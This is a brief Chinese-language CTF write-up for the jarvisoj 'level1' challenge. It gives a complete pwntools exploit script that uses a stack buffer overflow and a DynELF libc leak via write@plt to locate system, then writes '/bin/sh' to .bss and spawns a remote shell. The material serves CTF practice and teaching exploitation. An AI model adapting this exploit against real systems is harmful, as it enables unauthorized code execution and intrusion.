jarvisoj_level1-ret2libc

1，

2，
思路：无binsh，无system,考虑ret2libc

3，payload
利用的是pwntool模板自动搜索泄露地址匹配的libc版本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.log_level="debug"
context.binary = "./level1"
elf = context.binary
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

if sys.argv[1] == "l":
    io = process("./level1")
else:
    io = remote('node4.buuoj.cn',25056)

def leak(addr):
    payload = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, addr, 4)
    io.send(payload)
    sleep(0.01)
    leaked = io.recv(4)
    info("leaked -> {}".format(leaked))
    return leaked

d = DynELF(leak, elf=ELF('./level1'))
system_addr = d.lookup('system', 'libc')
success("system -> {:#x}".format(system_addr))
pause()

#  gdb.attach(io)
payload = flat(cyclic(0x88 + 4), elf.sym['read'], elf.sym['_start'], 0, elf.bss() + 0x500, 8)
io.send(payload)
sleep(0.01)
io.send("/bin/sh\0")
sleep(0.01)

payload = flat(cyclic(0x88 + 4), system_addr, 'aaaa', elf.bss() + 0x500)
io.send(payload)

io.interactive()